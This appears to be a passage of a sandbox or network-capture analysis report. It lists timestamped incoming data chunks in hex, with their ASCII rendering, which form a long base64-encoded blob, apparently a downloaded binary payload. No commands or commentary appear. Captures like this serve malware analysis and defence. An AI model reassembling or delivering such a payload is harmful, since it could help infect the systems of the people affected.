2021-12-01 08:14:01 UTC	92	IN	Data Raw: 00 45 00 35 00 42 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 4f 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 4e 00 45 00 46 00 42 00 51 00 55 00 74 00 69 00 4b 00 7a 00 52 00 42 00 51 00 55 00 46 00 77 00 4d 00 56 00 64 00 42 00 51 00 55 00 46 00 42 00 55 00 58 00 64 00 4a 00 53 00 30 00 73 00 30 00 51 00 55 00 46 00 42 00 62 00 33 00 52 00 43 00 64 00 31 00 6c 00 4f 00 4d 00 32 00 46 00 76 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 6a 00 4c 00 32 00 4e 00 42 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 43 00 52 00 55 00 56 00 44 00 52 00 79 00 39 00 35 00 51 00 55 00 46 00 42 00 52 00 30 00 56 00 52 00 55 00 57 00 4e 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 4e 00 54 00 55 00 46 00 42 00 51 00 56 00 46 00 76 00 Data Ascii: E5BQUFBUW9Od0FBQ25NNEFBQUtiKzRBQUFwMVdBQUFBUXdJS0s0QUFBb3RCd1lOM2FvQUFBQUdjL2NBQUFZVEJCRUVDRy95QUFBR0VRUWNqVm9BQUFFbDBNTUFBQVFv
2021-12-01 08:14:01 UTC	96	IN	Data Raw: 42 00 54 00 30 00 52 00 4e 00 52 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 4d 00 6d 00 74 00 61 00 56 00 30 00 4a 00 6e 00 62 00 33 00 4e 00 6e 00 51 00 55 00 46 00 43 00 61 00 47 00 52 00 78 00 56 00 31 00 63 00 77 00 54 00 45 00 5a 00 6f 00 54 00 55 00 56 00 4c 00 4d 00 57 00 64 00 44 00 51 00 54 00 4a 00 72 00 5a 00 6b 00 52 00 47 00 5a 00 31 00 4a 00 43 00 51 00 6d 00 68 00 68 00 56 00 30 00 4a 00 6e 00 62 00 33 00 4e 00 6e 00 51 00 55 00 46 00 43 00 62 00 54 00 42 00 55 00 51 00 6c 00 46 00 4e 00 5a 00 6c 00 70 00 48 00 62 00 33 00 70 00 48 00 64 00 30 00 6c 00 44 00 52 00 56 00 46 00 56 00 59 00 55 00 74 00 4d 00 53 00 55 00 46 00 42 00 51 00 56 00 6c 00 59 00 59 00 57 00 78 00 72 00 51 00 32 00 56 00 34 00 52 00 55 00 46 00 42 00 51 00 56 00 4a Data Ascii: BT0RNRUFBQUNBMmtaV0Jnb3NnQUFCaGRxV1cwTEZoTUVLMWdDQTJrZkRGZ1JCQmhhV0Jnb3NnQUFCbTBUQlFNZlpHb3pHd0lDRVFVYUtMSUFBQVlYYWxrQ2V4RUFBQVJ
2021-12-01 08:14:01 UTC	100	IN	Data Raw: 00 52 00 4e 00 53 00 45 00 5a 00 6e 00 4d 00 32 00 51 00 32 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 4b 00 4e 00 30 00 56 00 33 00 51 00 55 00 46 00 43 00 51 00 57 00 46 00 51 00 54 00 48 00 64 00 42 00 51 00 55 00 46 00 75 00 63 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 51 00 57 00 35 00 7a 00 56 00 45 00 46 00 42 00 51 00 55 00 56 00 43 00 62 00 7a 00 68 00 32 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 35 00 4d 00 6b 00 46 00 33 00 51 00 57 00 4e 00 43 00 63 00 48 00 59 00 35 00 55 00 55 00 46 00 42 00 51 00 32 00 68 00 6b 00 57 00 57 00 49 00 76 00 57 00 55 00 46 00 42 00 51 00 57 00 39 00 59 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 78 00 47 00 61 00 44 00 68 00 7a 00 62 00 Data Ascii: RNSEZnM2Q2Z0FBQUFKN0V3QUFCQWFQTHdBQUFuc29BQUFFQW5zVEFBQUVCbzh2QUFBQ2V5Z0FBQVJ5MkF3QWNCcHY5UUFBQ2hkWWIvWUFBQW9YalZvQUFBRWxGaDhzb
2021-12-01 08:14:01 UTC	104	IN	Data Raw: 57 00 57 00 70 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 6f 00 33 00 53 00 31 00 46 00 42 00 51 00 55 00 4a 00 43 00 52 00 56 00 42 00 42 00 61 00 45 00 56 00 48 00 52 00 56 00 46 00 73 00 57 00 55 00 56 00 52 00 4e 00 58 00 46 00 58 00 52 00 32 00 74 00 53 00 51 00 32 00 68 00 46 00 55 00 47 00 70 00 35 00 4e 00 45 00 46 00 42 00 51 00 55 00 6f 00 33 00 53 00 6b 00 46 00 42 00 51 00 55 00 4a 00 48 00 61 00 32 00 39 00 7a 00 5a 00 30 00 46 00 42 00 51 00 6d 00 6c 00 71 00 4e 00 6b 00 46 00 42 00 51 00 55 00 74 00 76 00 61 00 45 00 56 00 50 00 52 00 56 00 46 00 76 00 55 00 6b 00 51 00 30 00 4f 00 48 00 56 00 42 00 51 00 55 00 46 00 44 00 5a 00 58 00 6c 00 52 00 51 00 55 00 46 00 42 00 55 00 6e 00 42 00 58 00 51 00 6b 00 31 00 50 00 52 00 56 00 45 00 34 Data Ascii: WWp6QUFBQUo3S1FBQUJCRVBBaEVHRVFsWUVRNXFXR2tSQ2hFUGp5NEFBQUo3SkFBQUJHa29zZ0FBQmlqNkFBQUtvaEVPRVFvUkQ0OHVBQUFDZXlRQUFBUnBXQk1PRVE4
2021-12-01 08:14:01 UTC	108	IN	Data Raw: 00 42 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 39 00 68 00 51 00 55 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 5a 00 6e 00 54 00 56 00 63 00 76 00 5a 00 30 00 56 00 78 00 51 00 55 00 46 00 42 00 59 00 6b 00 31 00 42 00 56 00 55 00 46 00 51 00 51 00 55 00 46 00 42 00 51 00 55 00 51 00 77 00 51 00 55 00 46 00 43 00 52 00 55 00 52 00 69 00 4e 00 6e 00 64 00 43 00 51 00 55 00 46 00 5a 00 57 00 47 00 70 00 57 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 52 00 6d 00 35 00 4b 00 54 00 55 00 52 00 52 00 51 00 6e 00 64 00 76 00 61 00 47 00 52 00 32 00 56 00 45 00 46 00 42 00 51 00 55 00 Data Ascii: BQUFBUkFBQUFBQUFBQm9hQUFGRHdBQUFSNENLR0lBQUFvcUZnTVcvZ0VxQUFBYk1BVUFQQUFBQUQwQUFCRURiNndCQUFZWGpWZ0FBQUVsRm5KTURRQndvaGR2VEFBQU
2021-12-01 08:14:01 UTC	112	IN	Data Raw: 32 00 39 00 4a 00 55 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4e 00 5a 00 30 00 46 00 52 00 51 00 55 00 74 00 44 00 65 00 45 00 6c 00 43 00 53 00 30 00 4e 00 46 00 51 00 6b 00 46 00 42 00 62 00 33 00 52 00 42 00 65 00 46 00 6c 00 79 00 51 00 6e 00 68 00 4a 00 51 00 6b 00 74 00 44 00 53 00 55 00 4a 00 42 00 51 00 57 00 39 00 4f 00 4d 00 32 00 64 00 56 00 62 00 54 00 4e 00 6e 00 51 00 56 00 64 00 4c 00 5a 00 32 00 74 00 78 00 51 00 55 00 46 00 46 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 58 00 64 00 42 00 64 00 30 00 46 00 33 00 51 00 6b 00 46 00 33 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 55 00 54 00 55 00 46 00 56 00 51 00 57 00 52 00 33 00 51 00 55 00 46 00 42 00 52 00 55 00 6c 00 42 00 51 00 55 00 4a 00 46 00 51 00 32 00 70 00 46 00 53 Data Ascii: 29JUUFBSzNNZ0FRQUtDeElCS0NFQkFBb3RBeFlyQnhJQktDSUJBQW9OM2dVbTNnQVdLZ2txQUFFUUFBQUFBRXdBd0F3QkF3b0FBQUVUTUFVQWR3QUFBRUlBQUJFQ2pFS
2021-12-01 08:14:01 UTC	116	IN	Data Raw: 00 52 00 45 00 31 00 4c 00 51 00 6d 00 68 00 6c 00 56 00 55 00 6c 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 31 00 53 00 55 00 46 00 5a 00 56 00 32 00 78 00 44 00 51 00 33 00 4e 00 42 00 51 00 55 00 46 00 42 00 54 00 58 00 63 00 30 00 52 00 30 00 59 00 31 00 55 00 57 00 5a 00 46 00 52 00 45 00 6c 00 49 00 51 00 6d 00 68 00 6c 00 56 00 55 00 68 00 34 00 4f 00 48 00 68 00 44 00 51 00 56 00 6c 00 58 00 62 00 45 00 49 00 34 00 53 00 79 00 39 00 6e 00 52 00 58 00 46 00 47 00 65 00 57 00 39 00 42 00 52 00 33 00 70 00 42 00 52 00 6b 00 46 00 51 00 64 00 30 00 46 00 42 00 51 00 55 00 4a 00 4b 00 51 00 55 00 46 00 42 00 55 00 6d 00 5a 00 6e 00 55 00 55 00 46 00 42 00 51 00 56 00 49 00 72 00 51 00 6e 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 33 00 52 00 Data Ascii: RE1LQmhlVUlLZ0FBQUF1SUFZV2xDQ3NBQUFBTXc0R0Y1UWZFRElIQmhlVUh4OHhDQVlXbEI4Sy9nRXFGeW9BR3pBRkFQd0FBQUJKQUFBUmZnUUFBQVIrQndBQUJDZ3R
2021-12-01 08:14:01 UTC	120	IN	Data Raw: 46 00 4c 00 4d 00 30 00 34 00 30 00 53 00 30 00 4a 00 35 00 64 00 30 00 64 00 43 00 4d 00 6a 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 51 00 55 00 46 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 56 00 46 00 43 00 55 00 57 00 39 00 52 00 51 00 55 00 52 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 46 00 4a 00 51 00 56 00 46 00 6e 00 51 00 6e 00 4e 00 79 00 5a 00 30 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 50 00 64 00 30 00 49 00 76 00 64 00 57 00 64 00 42 00 53 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 42 00 54 00 6b 00 46 00 44 00 55 00 33 00 68 00 6e 00 51 00 55 00 74 00 42 00 51 00 55 Data Ascii: FLM040S0J5d0dCMjhMQUFBSzNONERKdDRBQmlvQUFVQUFBQUFBVVFCUW9RQUREd0FBQVFJQVFnQnNyZ0FLQUFBQUFBSUFPd0IvdWdBS0FBQUFBQUlBTkFDU3hnQUtBQU
2021-12-01 08:14:01 UTC	124	IN	Data Raw: 00 32 00 68 00 4e 00 52 00 55 00 56 00 52 00 55 00 6e 00 5a 00 6b 00 51 00 55 00 56 00 42 00 51 00 32 00 68 00 4e 00 52 00 6b 00 56 00 52 00 56 00 6e 00 5a 00 6b 00 55 00 55 00 56 00 42 00 51 00 32 00 68 00 4e 00 52 00 30 00 73 00 79 00 53 00 56 00 4a 00 43 00 62 00 54 00 6b 00 79 00 51 00 56 00 46 00 42 00 53 00 30 00 56 00 33 00 59 00 30 00 64 00 46 00 55 00 57 00 4e 00 6d 00 51 00 7a 00 51 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 4d 00 32 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 74 00 4f 00 54 00 4e 00 42 00 55 00 55 00 46 00 4c 00 5a 00 46 00 5a 00 6e 00 51 00 55 00 46 00 42 00 52 00 6e 00 59 00 78 00 5a 00 30 00 46 00 42 00 Data Ascii: 2hNRUVRUnZkQUVBQ2hNRkVRVnZkUUVBQ2hNR0sySVJCbTkyQVFBS0V3Y0dFUWNmQzQxYUFBQUJKZEM2QUFBRUtEY0FBQXB6T0FBQUNtOTNBUUFLZFZnQUFBRnYxZ0FB
2021-12-01 08:14:01 UTC	128	IN	Data Raw: 55 00 51 00 6b 00 4a 00 46 00 52 00 55 00 64 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6b 00 7a 00 51 00 56 00 46 00 42 00 53 00 30 00 70 00 54 00 4d 00 45 00 56 00 4b 00 61 00 46 00 46 00 79 00 51 00 6c 00 63 00 72 00 52 00 30 00 46 00 42 00 51 00 55 00 74 00 42 00 61 00 57 00 68 00 6b 00 51 00 55 00 46 00 42 00 53 00 30 00 78 00 43 00 4e 00 45 00 64 00 46 00 55 00 56 00 4a 00 35 00 57 00 6e 00 68 00 52 00 51 00 57 00 4e 00 48 00 4f 00 54 00 4e 00 42 00 55 00 55 00 46 00 4c 00 53 00 6c 00 4d 00 77 00 52 00 55 00 70 00 6f 00 55 00 58 00 4a 00 43 00 56 00 79 00 74 Data Ascii: UQkJFRUdvMWFBQUFCSmRDOEFBQUVLRGNBQUFwek9BQUFDbTkzQVFBS0pTMEVKaFFyQlcrR0FBQUtBaWhkQUFBS0xCNEdFUVJ5WnhRQWNHOTNBUUFLSlMwRUpoUXJCVyt
2021-12-01 08:14:01 UTC	132	IN	Data Raw: 00 59 00 34 00 51 00 55 00 46 00 42 00 62 00 30 00 30 00 7a 00 5a 00 33 00 5a 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 49 00 4e 00 47 00 56 00 42 00 51 00 55 00 46 00 4c 00 53 00 32 00 64 00 6e 00 63 00 55 00 46 00 42 00 52 00 57 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 5a 00 6f 00 57 00 55 00 46 00 44 00 55 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 58 00 52 00 6d 00 64 00 42 00 51 00 58 00 63 00 34 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6c 00 42 00 54 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 57 00 55 00 46 00 42 00 51 00 6b 00 59 00 72 00 5a 00 6c 00 46 00 46 00 51 00 55 00 4e 00 6e 00 53 00 6e 00 59 00 33 00 55 00 55 00 46 00 42 00 51 00 Data Ascii: Y4QUFBb00zZ3ZlQXliZUFINGVBQUFLS2dncUFBRWNBQUFBQUFBQUZoWUFDUThBQUFFQUFBQUFXRmdBQXc4QUFBRWJNQUlBTkFBQUFBWUFBQkYrZlFFQUNnSnY3UUFBQ
2021-12-01 08:14:01 UTC	136	IN	Data Raw: 51 00 55 00 46 00 42 00 62 00 33 00 46 00 49 00 5a 00 30 00 6f 00 33 00 53 00 32 00 64 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 6c 00 42 00 5a 00 30 00 34 00 35 00 53 00 32 00 64 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 56 00 42 00 62 00 6e 00 4e 00 79 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00 7a 00 42 00 79 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 68 00 6e 00 53 00 6a 00 64 00 4d 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 61 00 55 00 46 00 6e 00 54 00 6a 00 6c 00 4d 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 5a 00 55 00 46 00 75 00 63 00 33 00 52 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 6c 00 4a Data Ascii: QUFBb3FIZ0o3S2dBQUJDb2lBZ045S2dBQUJDb2VBbnNyQUFBRUtpSUNBMzByQUFBRUtoNENLR0lBQUFvcUhnSjdMQUFBQkNvaUFnTjlMQUFBQkNvZUFuc3RBQUFFS2lJ
2021-12-01 08:14:01 UTC	140	IN	Data Raw: 00 6e 00 53 00 6a 00 64 00 69 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 61 00 55 00 46 00 6e 00 54 00 6a 00 6c 00 69 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 5a 00 55 00 46 00 75 00 64 00 48 00 52 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 6c 00 4a 00 51 00 30 00 45 00 7a 00 4d 00 58 00 52 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 32 00 55 00 79 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 57 00 64 00 4a 00 52 00 47 00 5a 00 58 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 47 00 64 00 4b 00 4e 00 32 00 4a 00 33 00 51 00 55 00 46 00 43 00 51 00 32 00 39 00 70 00 51 00 57 00 64 00 4f 00 4f 00 57 00 4a 00 33 00 51 00 55 00 46 00 43 00 51 00 32 00 39 00 6c 00 51 00 57 00 35 00 30 00 64 00 30 00 Data Ascii: nSjdiQUFBQkNvaUFnTjliQUFBQkNvZUFudHRBQUFFS2lJQ0EzMXRBQUFFS2g0Q2UyNEFBQVFxSWdJRGZXNEFBQVFxSGdKN2J3QUFCQ29pQWdOOWJ3QUFCQ29lQW50d0
2021-12-01 08:14:01 UTC	144	IN	Data Raw: 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 76 00 5a 00 55 00 46 00 35 00 61 00 47 00 70 00 42 00 51 00 55 00 46 00 4c 00 53 00 32 00 6b 00 31 00 65 00 6b 00 46 00 33 00 53 00 55 00 46 00 43 00 62 00 30 00 51 00 72 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 57 00 56 00 75 00 4e 00 45 00 64 00 42 00 51 00 55 00 46 00 46 00 5a 00 6d 00 64 00 6a 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 4d 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4d 00 62 00 45 00 4e 00 52 00 51 00 6e 00 64 00 47 00 61 00 44 00 68 00 52 00 53 00 30 00 70 00 76 00 51 00 6b 00 46 00 42 00 62 00 32 00 31 00 4c 00 61 00 44 00 52 00 44 00 53 00 30 00 64 00 4a 00 51 00 55 00 46 00 42 00 62 Data Ascii: W9ZZ0FBQ2lvZUF5aGpBQUFLS2k1ekF3SUFCb0QrQUFBRUtoNENLR0lBQUFvcWVuNEdBQUFFZmdjQUFBUW9MUUFBQm5MbENRQndGaDhRS0pvQkFBb21LaDRDS0dJQUFBb
2021-12-01 08:14:01 UTC	148	IN	Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 78 00 44 00 4c 00 30 00 46 00 42 00 52 00 45 00 31 00 49 00 64 00 30 00 46 00 42 00 53 00 54 00 42 00 4b 00 63 00 32 00 49 00 79 00 53 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 51 00 55 00 46 00 42 00 56 00 6d 00 59 00 76 00 62 00 32 00 6f 00 34 00 53 00 6b 00 52 00 6e 00 51 00 55 00 46 00 42 00 55 00 47 00 39 00 43 00 54 00 58 00 64 00 42 00 56 00 30 00 46 00 42 00 51 00 55 00 4a 00 42 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 49 00 63 00 30 00 46 00 42 00 51 00 55 00 46 00 6c 00 51 00 56 00 46 00 42 00 51 00 55 00 70 00 33 00 53 00 55 00 46 00 42 00 52 00 7a 00 68 00 44 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 Data Ascii: QUFBQUxDL0FBRE1Id0FBSTBKc2IySUFBQUFBQUFBQUFnQUFBVmYvb2o4SkRnQUFBUG9CTXdBV0FBQUJBQUFBd0FBQUFIc0FBQUFlQVFBQUp3SUFBRzhDQUFBTUFBQUF
2021-12-01 08:14:01 UTC	152	IN	Data Raw: 52 00 6b 00 53 00 48 00 56 00 56 00 63 00 55 00 78 00 6e 00 51 00 6a 00 46 00 4f 00 52 00 58 00 64 00 79 00 52 00 6d 00 64 00 45 00 4d 00 6c 00 45 00 72 00 56 00 58 00 46 00 47 00 5a 00 30 00 51 00 72 00 53 00 48 00 56 00 56 00 63 00 55 00 5a 00 6e 00 51 00 53 00 74 00 4e 00 54 00 31 00 56 00 78 00 52 00 6d 00 64 00 42 00 54 00 30 00 6c 00 31 00 56 00 58 00 46 00 43 00 5a 00 30 00 45 00 77 00 51 00 6d 00 52 00 6e 00 63 00 6b 00 64 00 6e 00 52 00 45 00 46 00 4d 00 4e 00 57 00 63 00 77 00 52 00 32 00 64 00 43 00 54 00 31 00 46 00 5a 00 61 00 7a 00 56 00 4c 00 5a 00 30 00 52 00 59 00 54 00 46 00 56 00 4e 00 4e 00 55 00 4a 00 6e 00 52 00 48 00 56 00 49 00 4f 00 57 00 64 00 79 00 54 00 6d 00 64 00 43 00 56 00 56 00 46 00 55 00 4e 00 44 00 68 00 4f 00 5a 00 30 Data Ascii: RkSHVVcUxnQjFORXdyRmdEMlErVXFGZ0QrSHVVcUZnQStNT1VxRmdBT0l1VXFCZ0EwQmRnckdnREFMNWcwR2dCT1FZazVLZ0RYTFVNNUJnRHVIOWdyTmdCVVFUNDhOZ0
2021-12-01 08:14:01 UTC	156	IN	Data Raw: 00 56 00 46 00 42 00 51 00 55 00 68 00 54 00 55 00 55 00 46 00 42 00 52 00 7a 00 42 00 42 00 4c 00 32 00 64 00 45 00 4d 00 6b 00 46 00 52 00 54 00 55 00 4a 00 42 00 51 00 55 00 45 00 78 00 53 00 6b 00 46 00 42 00 51 00 57 00 4a 00 52 00 52 00 43 00 74 00 42 00 55 00 47 00 39 00 43 00 51 00 58 00 64 00 46 00 51 00 55 00 46 00 51 00 56 00 57 00 70 00 42 00 51 00 55 00 4a 00 30 00 51 00 56 00 41 00 30 00 51 00 53 00 39 00 6e 00 52 00 55 00 52 00 4a 00 55 00 6b 00 46 00 42 00 4d 00 57 00 68 00 72 00 51 00 55 00 46 00 44 00 61 00 30 00 45 00 76 00 5a 00 30 00 46 00 44 00 51 00 57 00 64 00 4e 00 51 00 6b 00 56 00 42 00 51 00 30 00 39 00 42 00 55 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 55 00 4e 00 6e 00 64 00 30 00 56 00 52 00 Data Ascii: VFBQUhTUUFBRzBBL2dEMkFRTUJBQUExSkFBQWJRRCtBUG9CQXdFQUFQVWpBQUJ0QVA0QS9nRURJUkFBMWhrQUFDa0EvZ0FDQWdNQkVBQ09BUUFBS1FBQUFRVUNnd0VR
2021-12-01 08:14:01 UTC	160	IN	Data Raw: 53 00 51 00 6d 00 64 00 42 00 56 00 31 00 42 00 78 00 57 00 55 00 46 00 43 00 5a 00 30 00 46 00 76 00 55 00 43 00 39 00 56 00 55 00 55 00 46 00 52 00 52 00 47 00 64 00 48 00 63 00 56 00 6c 00 42 00 51 00 56 00 46 00 42 00 54 00 45 00 63 00 32 00 57 00 55 00 46 00 42 00 55 00 55 00 52 00 6e 00 52 00 33 00 46 00 5a 00 51 00 55 00 46 00 52 00 51 00 55 00 78 00 48 00 4e 00 6c 00 6c 00 42 00 51 00 56 00 46 00 42 00 4d 00 6b 00 64 00 35 00 59 00 31 00 4a 00 42 00 55 00 55 00 4a 00 6f 00 52 00 33 00 70 00 42 00 55 00 6b 00 46 00 52 00 51 00 30 00 31 00 48 00 65 00 6d 00 74 00 53 00 51 00 56 00 46 00 44 00 4d 00 30 00 63 00 77 00 53 00 56 00 4a 00 42 00 55 00 55 00 52 00 6e 00 52 00 33 00 46 00 5a 00 51 00 55 00 46 00 52 00 51 00 55 00 78 00 48 00 65 00 47 00 4e Data Ascii: SQmdBV1BxWUFCZ0FvUC9VUUFRRGdHcVlBQVFBTEc2WUFBUURnR3FZQUFRQUxHNllBQVFBMkd5Y1JBUUJoR3pBUkFRQ01HemtSQVFDM0cwSVJBUURnR3FZQUFRQUxHeGN
2021-12-01 08:14:01 UTC	164	IN	Data Raw: 00 64 00 47 00 55 00 6b 00 4a 00 77 00 62 00 31 00 4a 00 4e 00 64 00 30 00 5a 00 53 00 52 00 54 00 63 00 77 00 55 00 6b 00 31 00 33 00 52 00 58 00 5a 00 42 00 59 00 6b 00 31 00 53 00 54 00 58 00 64 00 47 00 62 00 30 00 49 00 35 00 57 00 56 00 4a 00 4e 00 64 00 30 00 5a 00 6b 00 52 00 6c 00 46 00 4e 00 55 00 30 00 31 00 33 00 53 00 47 00 64 00 46 00 55 00 31 00 46 00 53 00 54 00 58 00 64 00 46 00 4d 00 6b 00 4d 00 33 00 54 00 56 00 4a 00 43 00 5a 00 30 00 4e 00 4f 00 54 00 57 00 46 00 5a 00 51 00 55 00 35 00 6e 00 51 00 57 00 68 00 46 00 55 00 33 00 4e 00 54 00 52 00 6d 00 64 00 43 00 57 00 55 00 46 00 55 00 51 00 56 00 4e 00 47 00 5a 00 30 00 49 00 32 00 51 00 6d 00 70 00 6e 00 55 00 30 00 5a 00 6e 00 52 00 44 00 42 00 44 00 61 00 31 00 6c 00 54 00 52 00 Data Ascii: dGUkJwb1JNd0ZSRTcwUk13RXZBYk1STXdGb0I5WVJNd0ZkRlFNU013SGdFU1FSTXdFMkM3TVJCZ0NOTWFZQU5nQWhFU3NTRmdCWUFUQVNGZ0I2QmpnU0ZnRDBDa1lTR
2021-12-01 08:14:01 UTC	168	IN	Data Raw: 4e 00 46 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 55 00 4a 00 4e 00 4d 00 32 00 74 00 53 00 55 00 6d 00 39 00 42 00 52 00 33 00 68 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 46 00 79 00 51 00 6d 00 6c 00 46 00 52 00 6b 00 64 00 72 00 51 00 57 00 39 00 46 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 43 00 56 00 55 00 35 00 76 00 55 00 56 00 56 00 68 00 5a 00 30 00 52 00 56 00 55 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 42 00 53 00 46 00 45 00 79 00 61 00 45 00 4a 00 53 00 63 00 6b 00 46 00 42 00 61 00 45 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 51 00 57 00 68 00 71 00 59 00 55 00 56 00 47 00 52 00 33 00 64 00 42 00 55 00 45 00 56 00 52 Data Ascii: NFF3QUFBQUNHQUJNM2tSUm9BR3hEQUFBQUFJWUFyQmlFRkdrQW9FTUFBQUFBaGdCVU5vUVVhZ0RVUXdBQUFBQ0dBSFEyaEJSckFBaEVBQUFBQUlZQWhqYUVGR3dBUEVR
2021-12-01 08:14:01 UTC	172	IN	Data Raw: 00 5a 00 56 00 6d 00 35 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 57 00 53 00 74 00 55 00 54 00 55 00 4a 00 42 00 51 00 30 00 6c 00 43 00 61 00 30 00 64 00 6a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 34 00 5a 00 30 00 4e 00 74 00 54 00 56 00 70 00 4a 00 56 00 6b 00 6c 00 6e 00 52 00 56 00 56 00 68 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 52 00 30 00 46 00 45 00 4e 00 44 00 52 00 75 00 51 00 6c 00 56 00 72 00 51 00 56 00 4e 00 6f 00 63 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 56 00 32 00 70 00 70 00 64 00 30 00 5a 00 54 00 55 00 55 00 4a 00 4e 00 52 00 33 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 48 00 46 00 50 00 54 00 47 00 64 00 57 00 53 00 6b 00 46 00 46 00 4f 00 47 00 Data Ascii: ZVm5BQUFBQUlZWStUTUJBQ0lCa0djQUFBQUF4Z0NtTVpJVklnRVVhQUFBQUFER0FENDRuQlVrQVNockFBQUFBSVlJV2ppd0ZTUUJNR3NBQUFBQWhnaHFPTGdWSkFFOG
